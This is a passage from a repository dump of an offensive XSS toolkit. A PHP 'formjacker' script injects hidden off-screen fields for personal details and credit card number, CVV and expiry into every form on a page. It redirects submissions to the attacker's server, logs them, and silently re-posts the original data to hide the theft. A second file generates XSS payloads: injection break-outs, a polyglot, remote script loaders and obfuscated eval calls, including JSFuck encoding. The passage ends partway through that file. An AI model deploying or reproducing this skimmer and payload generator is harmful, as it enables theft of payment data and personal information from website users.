 32 |   if( empty( $_SERVER['HTTP_HOST'] ) ){
 33 |     $url .= $_SERVER["SERVER_ADDR"];
 34 |   }else{
 35 |     $url .= $_SERVER['HTTP_HOST'];
 36 |   }
 37 |   $url .= $_SERVER["PHP_SELF"];
 38 | 
 39 | 
 40 |   // Is this just being called as a script?
 41 |   if( sizeof( $_REQUEST ) == 0 ){
 42 |     header('Content-type: text/javascript');
 43 | 
 44 | ?>
 45 | 
 46 | function xssFormJacker(){
 47 |   
 48 |   // Get all forms on page
 49 |   forms = document.querySelectorAll('form');
 50 |   Array.prototype.forEach.call( forms, form => {
 51 |     fields = form.querySelectorAll('input,select,textarea,button')
 52 |     
 53 |     // Get list of fields
 54 |     aFieldList = Array();
 55 |     Array.prototype.forEach.call( fields, field => {
 56 |       aFieldList.push( field.name );
 57 |     });
 58 | 
 59 |     // Add extra hidden fields 
 60 |     
 61 |     // text fields
 62 |     'name,email,phone,organization,address,postal,city,county,state,cc_number,cc_cvv'.split(',').forEach(function(name){
 63 |       if( aFieldList.includes( name ) ){
 64 |         return;
 65 |       }
 66 |       d = document.createElement('div')
 67 |       d.style = 'left: -500px; position: absolute;'
 68 |       f = document.createElement('input');
 69 |       f.type='text';
 70 |       f.name = name;
 71 |       d.appendChild( f );
 72 |       form.appendChild( d );
 73 |     });
 74 | 
 75 |     // Select boxes
 76 |     'country,cc_month,cc_year'.split(',').forEach(function(name){
 77 |       if( aFieldList.includes( name ) ){
 78 |         return;
 79 |       }
 80 |       d = document.createElement('div')
 81 |       d.style = 'left: -500px; position: absolute;'
 82 |       f = document.createElement('select');
 83 |       f.name = name;
 84 |      
 85 |       switch( name ){
 86 |         case 'country':
 87 |           f.innerHTML = '<option value=""></option><option value="FI">Finland</option><option value="AF">Afghanistan</option><option value="AX">Åland Islands</option><option value="AL">Albania</option><option value="DZ">Algeria</option><option value="AS">American Samoa</option><option value="AD">Andorra</option><option value="AO">Angola</option><option value="AI">Anguilla</option><option value="AQ">Antarctica</option><option value="AG">Antigua &amp; Barbuda</option><option value="AR">Argentina</option><option value="AM">Armenia</option><option value="AW">Aruba</option><option value="AC">Ascension Island</option><option value="AU">Australia</option><option value="AT">Austria</option><option value="AZ">Azerbaijan</option><option value="BS">Bahamas</option><option value="BH">Bahrain</option><option value="BD">Bangladesh</option><option value="BB">Barbados</option><option value="BY">Belarus</option><option value="BE">Belgium</option><option value="BZ">Belize</option><option value="BJ">Benin</option><option value="BM">Bermuda</option><option value="BT">Bhutan</option><option value="BO">Bolivia</option><option value="BA">Bosnia &amp; Herzegovina</option><option value="BW">Botswana</option><option value="BV">Bouvet Island</option><option value="BR">Brazil</option><option value="IO">British Indian Ocean Territory</option><option value="VG">British Virgin Islands</option><option value="BN">Brunei</option><option value="BG">Bulgaria</option><option value="BF">Burkina Faso</option><option value="BI">Burundi</option><option value="KH">Cambodia</option><option value="CM">Cameroon</option><option value="CA">Canada</option><option value="CV">Cape Verde</option><option value="BQ">Caribbean Netherlands</option><option value="KY">Cayman Islands</option><option value="CF">Central African Republic</option><option value="TD">Chad</option><option value="CL">Chile</option><option value="CN">China</option><option value="CX">Christmas Island</option><option value="CC">Cocos [Keeling] Islands</option><option value="CO">Colombia</option><option value="KM">Comoros</option><option value="CD">Congo [DRC]</option><option value="CG">Congo [Republic]</option><option value="CK">Cook Islands</option><option value="CR">Costa Rica</option><option value="CI">Côte d’Ivoire</option><option value="HR">Croatia</option><option value="CW">Curaçao</option><option value="CY">Cyprus</option><option value="CZ">Czech Republic</option><option value="DK">Denmark</option><option value="DJ">Djibouti</option><option value="DM">Dominica</option><option value="DO">Dominican Republic</option><option value="EC">Ecuador</option><option value="EG">Egypt</option><option value="SV">El Salvador</option><option value="GQ">Equatorial Guinea</option><option value="ER">Eritrea</option><option value="EE">Estonia</option><option value="ET">Ethiopia</option><option value="FK">Falkland Islands [Islas Malvinas]</option><option value="FO">Faroe Islands</option><option value="FJ">Fiji</option><option value="FI">Finland</option><option value="FR">France</option><option value="GF">French Guiana</option><option value="PF">French Polynesia</option><option value="TF">French Southern Territories</option><option value="GA">Gabon</option><option value="GM">Gambia</option><option value="GE">Georgia</option><option value="DE">Germany</option><option value="GH">Ghana</option><option value="GI">Gibraltar</option><option value="GR">Greece</option><option value="GL">Greenland</option><option value="GD">Grenada</option><option value="GP">Guadeloupe</option><option value="GU">Guam</option><option value="GT">Guatemala</option><option value="GG">Guernsey</option><option value="GN">Guinea</option><option value="GW">Guinea-Bissau</option><option value="GY">Guyana</option><option value="HT">Haiti</option><option value="HM">Heard &amp; McDonald Islands</option><option value="HN">Honduras</option><option value="HK">Hong Kong</option><option value="HU">Hungary</option><option value="IS">Iceland</option><option value="IN">India</option><option value="ID">Indonesia</option><option value="IR">Iran</option><option value="IQ">Iraq</option><option value="IE">Ireland</option><option value="IM">Isle of Man</option><option value="IL">Israel</option><option value="IT">Italy</option><option value="JM">Jamaica</option><option value="JP">Japan</option><option value="JE">Jersey</option><option value="JO">Jordan</option><option value="KZ">Kazakhstan</option><option value="KE">Kenya</option><option value="KI">Kiribati</option><option value="XK">Kosovo</option><option value="KW">Kuwait</option><option value="KG">Kyrgyzstan</option><option value="LA">Laos</option><option value="LV">Latvia</option><option value="LB">Lebanon</option><option value="LS">Lesotho</option><option value="LR">Liberia</option><option value="LY">Libya</option><option value="LI">Liechtenstein</option><option value="LT">Lithuania</option><option value="LU">Luxembourg</option><option value="MO">Macau</option><option value="MK">Macedonia [FYROM]</option><option value="MG">Madagascar</option><option value="MW">Malawi</option><option value="MY">Malaysia</option><option value="MV">Maldives</option><option value="ML">Mali</option><option value="MT">Malta</option><option value="MH">Marshall Islands</option><option value="MQ">Martinique</option><option value="MR">Mauritania</option><option value="MU">Mauritius</option><option value="YT">Mayotte</option><option value="MX">Mexico</option><option value="FM">Micronesia</option><option value="MD">Moldova</option><option value="MC">Monaco</option><option value="MN">Mongolia</option><option value="ME">Montenegro</option><option value="MS">Montserrat</option><option value="MA">Morocco</option><option value="MZ">Mozambique</option><option value="MM">Myanmar [Burma]</option><option value="NA">Namibia</option><option value="NR">Nauru</option><option value="NP">Nepal</option><option value="NL">Netherlands</option><option value="NC">New Caledonia</option><option value="NZ">New Zealand</option><option value="NI">Nicaragua</option><option value="NE">Niger</option><option value="NG">Nigeria</option><option value="NU">Niue</option><option value="NF">Norfolk Island</option><option value="MP">Northern Mariana Islands</option><option value="NO">Norway</option><option value="OM">Oman</option><option value="PK">Pakistan</option><option value="PW">Palau</option><option value="PS">Palestine</option><option value="PA">Panama</option><option value="PG">Papua New Guinea</option><option value="PY">Paraguay</option><option value="PE">Peru</option><option value="PH">Philippines</option><option value="PN">Pitcairn Islands</option><option value="PL">Poland</option><option value="PT">Portugal</option><option value="PR">Puerto Rico</option><option value="QA">Qatar</option><option value="RE">Réunion</option><option value="RO">Romania</option><option value="RU">Russia</option><option value="RW">Rwanda</option><option value="WS">Samoa</option><option value="SM">San Marino</option><option value="ST">São Tomé &amp; Príncipe</option><option value="SA">Saudi Arabia</option><option value="SN">Senegal</option><option value="RS">Serbia</option><option value="SC">Seychelles</option><option value="SL">Sierra Leone</option><option value="SG">Singapore</option><option value="SX">Sint Maarten</option><option value="SK">Slovakia</option><option value="SI">Slovenia</option><option value="SB">Solomon Islands</option><option value="SO">Somalia</option><option value="ZA">South Africa</option><option value="GS">South Georgia &amp; South Sandwich Islands</option><option value="KR">South Korea</option><option value="SS">South Sudan</option><option value="ES">Spain</option><option value="LK">Sri Lanka</option><option value="BL">St. Barthélemy</option><option value="SH">St. Helena</option><option value="KN">St. Kitts &amp; Nevis</option><option value="LC">St. Lucia</option><option value="MF">St. Martin</option><option value="PM">St. Pierre &amp; Miquelon</option><option value="VC">St. Vincent &amp; Grenadines</option><option value="SR">Suriname</option><option value="SJ">Svalbard &amp; Jan Mayen</option><option value="SZ">Swaziland</option><option value="SE">Sweden</option><option value="CH">Switzerland</option><option value="TW">Taiwan</option><option value="TJ">Tajikistan</option><option value="TZ">Tanzania</option><option value="TH">Thailand</option><option value="TL">Timor-Leste</option><option value="TG">Togo</option><option value="TK">Tokelau</option><option value="TO">Tonga</option><option value="TT">Trinidad &amp; Tobago</option><option value="TA">Tristan da Cunha</option><option value="TN">Tunisia</option><option value="TR">Turkey</option><option value="TM">Turkmenistan</option><option value="TC">Turks &amp; Caicos Islands</option><option value="TV">Tuvalu</option><option value="UM">U.S. Outlying Islands</option><option value="VI">U.S. Virgin Islands</option><option value="UG">Uganda</option><option value="UA">Ukraine</option><option value="AE">United Arab Emirates</option><option value="GB">United Kingdom</option><option value="US">United States</option><option value="UY">Uruguay</option><option value="UZ">Uzbekistan</option><option value="VU">Vanuatu</option><option value="VA">Vatican City</option><option value="VE">Venezuela</option><option value="VN">Vietnam</option><option value="WF">Wallis &amp; Futuna</option><option value="EH">Western Sahara</option><option value="YE">Yemen</option><option value="ZM">Zambia</option><option value="ZW">Zimbabwe</option>';
 88 |             break;
 89 | 
 90 |           case 'cc_month':
 91 |             f.innerHTML = '<option value="01">01</option><option value="02">02</option><option value="03">03</option><option value="04">04</option><option value="05">05</option><option value="06">06</option><option value="07">07</option><option value="08">08</option><option value="09">09</option><option value="10">10</option><option value="11">11</option><option value="12">12</option>';
 92 |             break;
 93 | 
 94 |           case 'cc_year':
 95 | <?php 
 96 |               for( $i=date('Y'); $i<=date('Y')+15; $i++ ){
 97 |                 echo "            f.innerHTML += '<option>$i</option>';\n";
 98 |               }
 99 |             ?>
100 |             break;
101 |       }
102 |       d.appendChild( f );
103 |       form.appendChild( d );
104 | 
105 |     });
106 |     
107 |     // Remember the original fields
108 |     f = document.createElement('input')
109 |     f.type = 'hidden';
110 |     f.name = 'origFieldList';
111 |     f.value = aFieldList.join(',');
112 |     form.appendChild( f );
113 | 
114 |     // Change the action URL
115 |     f = document.createElement('input')
116 |     f.type = 'hidden';
117 |     f.name = 'origActionUrl';
118 |     f.value = form.action;
119 |     form.appendChild( f );
120 |     form.action = '<?php echo $url; ?>';
121 |   });
122 | }
123 | 
124 | window.onload = xssFormJacker;
125 | 
126 | <?php
127 | 
128 |   // This is being proxied through, take the data, send back the form
129 |   } else {
130 |     header('Content-type: text/html');
131 |     
132 |     // print_r( $_REQUEST );
133 | 
134 |     // Log the info
135 |     $data = array(
136 |       date( 'Y-m-d H:i:s' ),
137 |       $_SERVER['REMOTE_ADDR'],
138 |       $_SERVER['REQUEST_METHOD'],
139 |       print_r( $_REQUEST, true )
140 |     );
141 |     if( $logging == 'db' ){
142 |       
143 |       $db = new PDO("mysql:host={$db_host};dbname={$db_name};charset=utf8", $db_user, $db_pass);
144 |       $sql = "INSERT INTO formjackerlog ( logtime, ip, method, formdata ) VALUES ( ?, ?, ?, ? )";
145 |       $stmt = $db->prepare($sql);
146 |       $stmt->execute($data);
147 |       
148 |     }else{
149 |       
150 |       file_put_contents( $log_file, print_r( $data, true ), FILE_APPEND );  
151 | 
152 |     }
153 | 
154 |     // Build the form
155 |     if( !empty( $_REQUEST['origActionUrl'] ) ){
156 |       echo "<html><body>";
157 |       echo "<form id='xsspostback' action='".$_REQUEST['origActionUrl']."' method='".$_SERVER['REQUEST_METHOD']."'>\n";
158 |       
159 |       // Originally used fields
160 |       if( !empty( $_REQUEST['origFieldList'] ) ){
161 |         $aFields = preg_split( '/,/', $_REQUEST['origFieldList'] );
162 |         foreach( $aFields as $f ){
163 |           if( isset( $_REQUEST[$f] ) ){
164 |             $v = $_REQUEST[$f];
165 |             echo "<input type='hidden' name='$f' value='$v'>\n";
166 |           }
167 | 
168 |         }
169 |       }
170 |       echo "</form>\n";
171 |       echo "<script>document.getElementById('xsspostback').submit();</script>\n";
172 |       echo "</body></html>";
173 |     }else{
174 |       header( 'Location: https://www.google.com' );
175 |     }
176 |   }
177 | ?>
178 | 


--------------------------------------------------------------------------------
/generator.php:
--------------------------------------------------------------------------------
   1 | <?php
   2 |   /**
   3 |     XSS Payload generator and dropper
   4 |   */
   5 | 
   6 | 
   7 |   /**
   8 |     Payload types
   9 |       - Request URL (img)
  10 |       - Request URL (XHR)
  11 |       - Load script ($.getScript())
  12 |       - Load script (document.createElement())
  13 |       - Dropper (multiple scripts / automatic payload)
  14 |       - JavaScript code
  15 | 
  16 |   */
  17 | 
  18 |   $aPayloads = [
  19 |     [
  20 |       "name" => "Load script ($.getScript())",
  21 |       "desc" => "Load an external script into the DOM using jQuery, if jQuery is already loaded into the DOM",
  22 |       "code" => "$.getScript(\"{url}\")",
  23 |       "fields" => "filepicker,url"
  24 |     ],
  25 |     [
  26 |       "name" => "Load script (document.createElement())",
  27 |       "desc" => "Load an external script into the DOM using native document.createElement() methods",
  28 |       "code" => "e=document.createElement(\"script\");e.src=\"{url}\";document.body.appendChild(e);",
  29 |       "fields" => "filepicker,url"
  30 |     ],
  31 |     [
  32 |       "name" => "Request URL (img)",
  33 |       "desc" => "Make a blind, cross-origin request to an arbitrary URL (tip: use a Burp collaborator URL)",
  34 |       "code" => "new Image().src=\"{url}\"",
  35 |       "fields" => "url"
  36 |     ],
  37 |     [
  38 |       "name" => "Request URL (XHR)",
  39 |       "desc" => "Make a same-origin or CORS request to an arbitrary URL",
  40 |       "code" => "x=new XMLHttpRequest();x.open(\"GET\",\"{url}\");x.send()",
  41 |       "fields" => "url"
  42 |     ],
  43 |     [
  44 |       "name" => "JavaScript code",
  45 |       "desc" => "Inject custom inline JavaScript code",
  46 |       "code" => "{js}",
  47 |       "fields" => "js"
  48 |     ]
  49 |     /*
  50 |     [
  51 |       "name" => "Dropper (multiple scripts / automatic payload)",
  52 |       "desc" => "Load a set of scripts using this dropper to determine the best payload",
  53 |       "code" => ""
  54 |     ],
  55 |     */
  56 |   ];
  57 |   
  58 |   /*
  59 |     Obfuscation
  60 |       - None
  61 |       - base64 (btoa())
  62 |       - reverse
  63 |       - String.fromCharCode()
  64 |       - character hex code
  65 |   */
  66 |   $aObfuscation = [
  67 |     [
  68 |       "name" => "None",
  69 |       "desc" => "No obfuscation",
  70 |       "code" => "{payload}"
  71 |     ],
  72 |     [
  73 |       "name" => "Pass as string",
  74 |       "desc" => "Pass the payload as a string into an execution method",
  75 |       "code" => "'{payload}'"
  76 |     ],
  77 |     [
  78 |       "name" => "Base64 (atob())",
  79 |       "desc" => "Base64 encode",
  80 |       "code" => "atob('{payloadb64}')"
  81 |     ],
  82 |     [
  83 |       "name" => "Reverse",
  84 |       "desc" => "Reverse payload string and execute using eval()",
  85 |       "code" => "'{payloadrev}'.split('').reverse().join('')"
  86 |     ],
  87 |     [
  88 |       "name" => "String.fromCharCode()",
  89 |       "desc" => "Build payload string one char at a time using the ordinal value",
  90 |       "code" => "{payloadchr}"
  91 |     ],
  92 |     [
  93 |       "name" => "Character hex codes",
  94 |       "desc" => "Construct the payload using hex value of each character",
  95 |       "code" => "'{payloadhex}'"
  96 |     ],
  97 |     [
  98 |       "name" => "JSF*ck",
  99 |       "desc" => "Encode payload using only the characters []()!+",
 100 |       "code" => "{payloadjsf}"
 101 |     ]
 102 |   ];
 103 | 
 104 |   $aExecution = [
 105 |     [
 106 |       "name" => "None",
 107 |       "desc" => "No execution required",
 108 |       "code" => "{obfuscated}"
 109 |     ],
 110 |     [
 111 |       "name" => "eval()",
 112 |       "desc" => "Pass string to eval() function",
 113 |       "code" => "eval({obfuscated})"
 114 |     ],
 115 |     [
 116 |       "name" => "window['eval']()",
 117 |       "desc" => "Slightly sneakier way of calling eval()",
 118 |       "code" => "window['eval']({obfuscated})"
 119 |     ],
 120 |     [
 121 |       "name" => "window['\\x65\\x76\\x61\\x6c']()",
 122 |       "desc" => "Even sneakier way of calling eval()",
 123 |       "code" => "window['\\x65\\x76\\x61\\x6c']({obfuscated})"
 124 |     ],
 125 |     [
 126 |       "name" => "Function()()",
 127 |       "desc" => "Declare and execute an anonymous function",
 128 |       "code" => "Function({obfuscated})()"
 129 |     ],
 130 |     [
 131 |       "name" => "window['Function']()()",
 132 |       "desc" => "Slightly sneakier way of creating a new anonymous function",
 133 |       "code" => "window['Function']({obfsucated})()"
 134 |     ],
 135 |     [
 136 |       "name" => "window['\\x46\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e']()()",
 137 |       "desc" => "Even sneakier way of creating a new anonymous function",
 138 |       "code" => "window['\\x46\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e']({obfuscated})()"
 139 |     ],
 140 |     [
 141 |       "name" => "setTimeout()",
 142 |       "desc" => "Pass code string to the setTimeout() function",
 143 |       "code" => "setTimeout({obfuscated},0)"
 144 |     ],
 145 |     [
 146 |       "name" => "window['setTimeout']()",
 147 |       "desc" => "Slightly sneakier way of calling the setTimeout() function",
 148 |       "code" => "window['setTimeout']({obfuscated},0)"
 149 |     ],
 150 |     [
 151 |       "name" => "window['\\x73\\x65\\x74\\x54\\x69\\x6d\\x65\\x6f\\x75\\x74']()",
 152 |       "desc" => "Even sneakier way of calling the setTimeout() function",
 153 |       "code" => "window['\\x73\\x65\\x74\\x54\\x69\\x6d\\x65\\x6f\\x75\\x74']({obfuscated},0)"
 154 |     ]
 155 |   ];
 156 |   
 157 |   /*
 158 |     Injection
 159 |       - Basic polyglot / inline script
 160 |       - 0xsobky - Ultimate XSS Polyglot
 161 |       - String variable escape
 162 |       - img element onerror
 163 |       - SVG element
 164 |       - Element onclick
 165 |       - Element onmouseover
 166 |   */
 167 |   $aInjections = [
 168 |     [
 169 |       "name" => "Basic polyglot / inline script",
 170 |       "desc" => "Code execution using basic break-out technique",
 171 |       "code" => "'\"></textarea><script>{payload}</script>"
 172 |     ],
 173 |     [
 174 |       "name" => "0xsobky - Ultimate XSS Polyglot",
 175 |       "desc" => "Long, very flexible payload good for blind injection and fuzzing",
 176 |       "code" => "jaVasCript:/*-/*`/*\`/*'/*\"/**/(/* */oNcliCk={payload} )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd={payload}//>\\x3e"
 177 |     ],
 178 |     [
 179 |       "name" => "String variable escape",
 180 |       "desc" => "Break out from within a string in block of JavaScript",
 181 |       "code" => "\";//';\n{payload}"
 182 |     ],
 183 |     [
 184 |       "name" => "img element onerror",
 185 |       "desc" => "Inject an invalid <img> element with the payload within onerror",
 186 |       "code" => "<img src=x onerror={payload} />"
 187 |     ],
 188 |     [
 189 |       "name" => "SVG element",
 190 |       "desc" => "Inject an SVG element containing the payload within onload",
 191 |       "code" => "<svg onload={payload} />"
 192 |     ],
 193 |     [
 194 |       "name" => "Element onclick",
 195 |       "desc" => "Break out of an element attribute and add an onclick event",
 196 |       "code" => "'\" onclick={payload} >"
 197 |     ],
 198 |     [
 199 |       "name" => "Element onmouseover",
 200 |       "desc" => "Break out of an element attribute and add an onmouseover event",
 201 |       "code" => "'\" onmouseover={payload} >"
 202 |     ],
 203 |     [
 204 |       "name" => "Custom element and event",
 205 |       "desc" => "Define an element and an event to execute the payload",
 206 |       "code" => "<{element}/{event}={payload} />",
 207 |       "fields" => "element,event"
 208 |     ]
 209 |   ];
 210 | 
 211 |   $aElements = [
 212 |     "a",
 213 |     "abbr",
 214 |     "acronym",
 215 |     "address",
 216 |     "applet",
 217 |     "area",
 218 |     "article",
 219 |     "aside",
 220 |     "audio",
 221 |     "b",
 222 |     "base",
 223 |     "basefont",
 224 |     "bdi",
 225 |     "bdo",
 226 |     "big",
 227 |     "blockquote",
 228 |     "body",
 229 |     "br",
 230 |     "button",
 231 |     "canvas",
 232 |     "caption",
 233 |     "center",
 234 |     "cite",
 235 |     "code",
 236 |     "col",
 237 |     "colgroup",
 238 |     "data",
 239 |     "datalist",
 240 |     "dd",
 241 |     "del",
 242 |     "details",
 243 |     "dfn",
 244 |     "dialog",
 245 |     "dir",
 246 |     "div",
 247 |     "dl",
 248 |     "dt",
 249 |     "em",
 250 |     "embed",
 251 |     "fieldset",
 252 |     "figcaption",
 253 |     "figure",
 254 |     "font",
 255 |     "footer",
 256 |     "form",
 257 |     "frame",
 258 |     "frameset",
 259 |     "h1 to h6",
 260 |     "head",
 261 |     "header",
 262 |     "hr",
 263 |     "html",
 264 |     "i",
 265 |     "iframe",
 266 |     "img",
 267 |     "input",
 268 |     "ins",
 269 |     "kbd",
 270 |     "label",
 271 |     "legend",
 272 |     "li",
 273 |     "link",
 274 |     "main",
 275 |     "map",
 276 |     "mark",
 277 |     "meta",
 278 |     "meter",
 279 |     "nav",
 280 |     "noframes",
 281 |     "noscript",
 282 |     "object",
 283 |     "ol",
 284 |     "optgroup",
 285 |     "option",
 286 |     "output",
 287 |     "p",
 288 |     "param",
 289 |     "picture",
 290 |     "pre",
 291 |     "progress",
 292 |     "q",
 293 |     "rp",
 294 |     "rt",
 295 |     "ruby",
 296 |     "s",
 297 |     "samp",
 298 |     "script",
 299 |     "section",
 300 |     "select",
 301 |     "small",
 302 |     "source",
 303 |     "span",
 304 |     "strike",
 305 |     "strong",
 306 |     "style",
 307 |     "sub",
 308 |     "summary",
 309 |     "sup",
 310 |     "svg",
 311 |     "table",
 312 |     "tbody",
 313 |     "td",
 314 |     "template",
 315 |     "textarea",
 316 |     "tfoot",
 317 |     "th",
 318 |     "thead",
 319 |     "time",
 320 |     "title",
 321 |     "tr",
 322 |     "track",
 323 |     "tt",
 324 |     "u",
 325 |     "ul",
 326 |     "var",
 327 |     "video",
 328 |     "wbr"
 329 |   ];
 330 | 
 331 |   $aEvents = [
 332 |     "onabort",
 333 |     "oncancel",
 334 |     "onblur",
 335 |     "oncanplay",
 336 |     "oncanplaythrough",
 337 |     "onchange",
 338 |     "onclick",
 339 |     "oncontextmenu",
 340 |     "ondblclick",
 341 |     "ondrag",
 342 |     "ondragend",
 343 |     "ondragenter",
 344 |     "ondragexit",
 345 |     "ondragleave",
 346 |     "ondragover",
 347 |     "ondragstart",
 348 |     "ondrop",
 349 |     "ondurationchange",
 350 |     "onemptied",
 351 |     "onended",
 352 |     "onerror",
 353 |     "onfocus",
 354 |     "onformchange",
 355 |     "onforminput",
 356 |     "oninput",
 357 |     "oninvalid",
 358 |     "onkeydown",
 359 |     "onkeypress",
 360 |     "onkeyup",
 361 |     "onload",
 362 |     "onloadeddata",
 363 |     "onloadedmetadata",
 364 |     "onloadstart",
 365 |     "onmousedown",
 366 |     "onmousemove",
 367 |     "onmouseout",
 368 |     "onmouseover",
 369 |     "onmouseup",
 370 |     "onmousewheel",
 371 |     "onpause",
 372 |     "onplay",
 373 |     "onplaying",
 374 |     "onprogress",
 375 |     "onratechange",
 376 |     "onreadystatechange",
 377 |     "onscroll",
 378 |     "onseeked",
 379 |     "onseeking",
 380 |     "onselect",
 381 |     "onshow",
 382 |     "onstalled",
 383 |     "onsubmit",
 384 |     "onsuspend",
 385 |     "ontimeupdate",
 386 |     "onvolumechange",
 387 |     "onwaiting"
 388 |   ];
 389 | 
 390 |   // Character substitution
 391 |   // Encoding
 392 |   $aEncoding = [
 393 |     [
 394 |       "name"=>"JSON",
 395 |       "desc"=>"Encode for inclusion in a JSON string (escape double quotes)",
 396 |       "func"=>"str_replace",
 397 |       "args"=>['"','\"','[payload]']
 398 |     ],
 399 |     [
 400 |       "name"=>"JS Unicode",
 401 |       "desc"=>"Encode as JavaScript unicode escaped string",
 402 |       "func"=>"unicode_escape",
 403 |       "args"=>['[payload]']
 404 |     ],
 405 |     [
 406 |       "name"=>"JS Hex",
 407 |       "desc"=>"Encode as JavaScript hex escaped string",
 408 |       "func"=>"hex_escape",
 409 |       "args"=>['[payload]']
 410 |     ],
 411 |     [
 412 |       "name"=>"URL",
 413 |       "desc"=>"URL encode key characters",
 414 |       "func"=>"urlencode",
 415 |       "args"=>["[payload]"]
 416 |     ],
 417 |     [
 418 |       "name"=>"SQL",
 419 |       "desc"=>"Escape strings for SQL statements",
 420 |       "func"=>"addslashes",
 421 |       "args"=>["[payload]"]
 422 |     ],
 423 |     [
 424 |       "name"=>"HTML",
 425 |       "desc"=>"Encode HTML characters",
 426 |       "func"=>"htmlspecialchars",
 427 |       "args"=>["[payload]"]
 428 |     ],
 429 |     [
 430 |       "name"=>"Base64",
 431 |       "desc"=>"Base 64 encode payload",
 432 |       "func"=>"base64_encode",
 433 |       "args"=>["[payload]"]
 434 |     ]
 435 |   ];
 436 |  
 437 |   function unicode_escape( $payload ){
 438 |     $rtn = '';
 439 |     for ($i = 0; $i < strlen($payload); $i++) {
 440 |       $rtn .= '\\u' . str_pad(dechex(ord($payload[$i])), 4, '0', STR_PAD_LEFT);
 441 |     }
 442 |     return $rtn;
 443 |   }
 444 |   function hex_escape( $payload ){
 445 |     return str_replace( '\\u00','\\x',unicode_escape( $payload ) );
 446 |   }
 447 | 
 448 |   // JSFuck: http://www.jsfuck.com/
 449 |   // JSFuck PHP port: https://github.com/Zaczero/jsfuck.php
 450 |   class JSFuck {
 451 | 
 452 |       private const MIN = 32;
 453 |       private const MAX = 126;
 454 |       private const USE_CHAR_CODE = 'USE_CHAR_CODE';
 455 | 
 456 |       private const SIMPLE = [
 457 |           'false' => '![]',
 458 |           'true' => '!![]',
 459 |           'undefined' => '[][[]]',
 460 |           'NaN' => '+[![]]',
 461 |           'Infinity' => '+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])',
 462 |       ];
 463 | 
 464 |       private const CONSTRUCTORS = [
 465 |           'Array' => '[]',
 466 |           'Number' => '(+[])',
 467 |           'String' => '([]+[])',
 468 |           'Boolean' => '(![])',
 469 |           'RegExp' => 'Function("return/"+false+"/")()',
 470 |           'Function' => '[]["fill"]',
 471 |       ];
 472 | 
 473 |       private $_MAPPING = [
 474 |           'a' => '(false+"")[1]',
 475 |           'b' => '([]["entries"]()+"")[2]',
 476 |           'c' => '([]["fill"]+"")[3]',
 477 |           'd' => '(undefined+"")[2]',
 478 |           'e' => '(true+"")[3]',
 479 |           'f' => '(false+"")[0]',
 480 |           'g' => '(false+[0]+String)[20]',
 481 |           'h' => '(+(101))["to"+String["name"]](21)[1]',
 482 |           'i' => '([false]+undefined)[10]',
 483 |           'j' => '([]["entries"]()+"")[3]',
 484 |           'k' => '(+(20))["to"+String["name"]](21)',
 485 |           'l' => '(false+"")[2]',
 486 |           'm' => '(Number+"")[11]',
 487 |           'n' => '(undefined+"")[1]',
 488 |           'o' => '(true+[]["fill"])[10]',
 489 |           'p' => '(+(211))["to"+String["name"]](31)[1]',
 490 |           'q' => '(+(212))["to"+String["name"]](31)[1]',
 491 |           'r' => '(true+"")[1]',
 492 |           's' => '(false+"")[3]',
 493 |           't' => '(true+"")[0]',
 494 |           'u' => '(undefined+"")[0]',
 495 |           'v' => '(+(31))["to"+String["name"]](32)',
 496 |           'w' => '(+(32))["to"+String["name"]](33)',
 497 |           'x' => '(+(101))["to"+String["name"]](34)[1]',
 498 |           'y' => '(NaN+[Infinity])[10]',
 499 |           'z' => '(+(35))["to"+String["name"]](36)',
 500 |           
 501 |           'A' => '(+[]+Array)[10]',
 502 |           'B' => '(+[]+Boolean)[10]',
 503 |           'C' => 'Function("return escape")()(("")["italics"]())[2]',
 504 |           'D' => 'Function("return escape")()([]["fill"])["slice"]("-1")',
 505 |           'E' => '(RegExp+"")[12]',
 506 |           'F' => '(+[]+Function)[10]',
 507 |           'G' => '(false+Function("return Date")()())[30]',
 508 |           'H' => JSFuck::USE_CHAR_CODE,
 509 |           'I' => '(Infinity+"")[0]',
 510 |           'J' => JSFuck::USE_CHAR_CODE,
 511 |           'K' => JSFuck::USE_CHAR_CODE,
 512 |           'L' => JSFuck::USE_CHAR_CODE,
 513 |           'M' => '(true+Function("return Date")()())[30]',
 514 |           'N' => '(NaN+"")[0]',
 515 |           'O' => '(NaN+Function("return{}")())[11]',
 516 |           'P' => JSFuck::USE_CHAR_CODE,
 517 |           'Q' => JSFuck::USE_CHAR_CODE,
 518 |           'R' => '(+[]+RegExp)[10]',
 519 |           'S' => '(+[]+String)[10]',
 520 |           'T' => '(NaN+Function("return Date")()())[30]',
 521 |           'U' => '(NaN+Function("return{}")()["to"+String["name"]]["call"]())[11]',
 522 |           'V' => JSFuck::USE_CHAR_CODE,
 523 |           'W' => JSFuck::USE_CHAR_CODE,
 524 |           'X' => JSFuck::USE_CHAR_CODE,
 525 |           'Y' => JSFuck::USE_CHAR_CODE,
 526 |           'Z' => JSFuck::USE_CHAR_CODE,
 527 |           
 528 |           ' ' => '(NaN+[]["fill"])[11]',
 529 |           '!' => JSFuck::USE_CHAR_CODE,
 530 |           '"' => '("")["fontcolor"]()[12]',
 531 |           '#' => JSFuck::USE_CHAR_CODE,
 532 |           '$' => JSFuck::USE_CHAR_CODE,
 533 |           '%' => 'Function("return escape")()([]["fill"])[21]',
 534 |           '&' => '("")["link"](0+")[10]',
 535 |           '\'' => JSFuck::USE_CHAR_CODE,
 536 |           '(' => '(undefined+[]["fill"])[22]',
 537 |           ')' => '([0]+false+[]["fill"])[20]',
 538 |           '*' => JSFuck::USE_CHAR_CODE,
 539 |           '+' => '(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[2]',
 540 |           ',' => '([]["slice"]["call"](false+"")+"")[1]',
 541 |           '-' => '(+(.+[0000000001])+"")[2]',
 542 |           '.' => '(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]',
 543 |           '/' => '(false+[0])["italics"]()[10]',
 544 |           ':' => '(RegExp()+"")[3]',
 545 |           ';' => '("")["link"](")[14]',
 546 |           '<' => '("")["italics"]()[0]',
 547 |           '=' => '("")["fontcolor"]()[11]',
 548 |           '>' => '("")["italics"]()[2]',
 549 |           '?' => '(RegExp()+"")[2]',
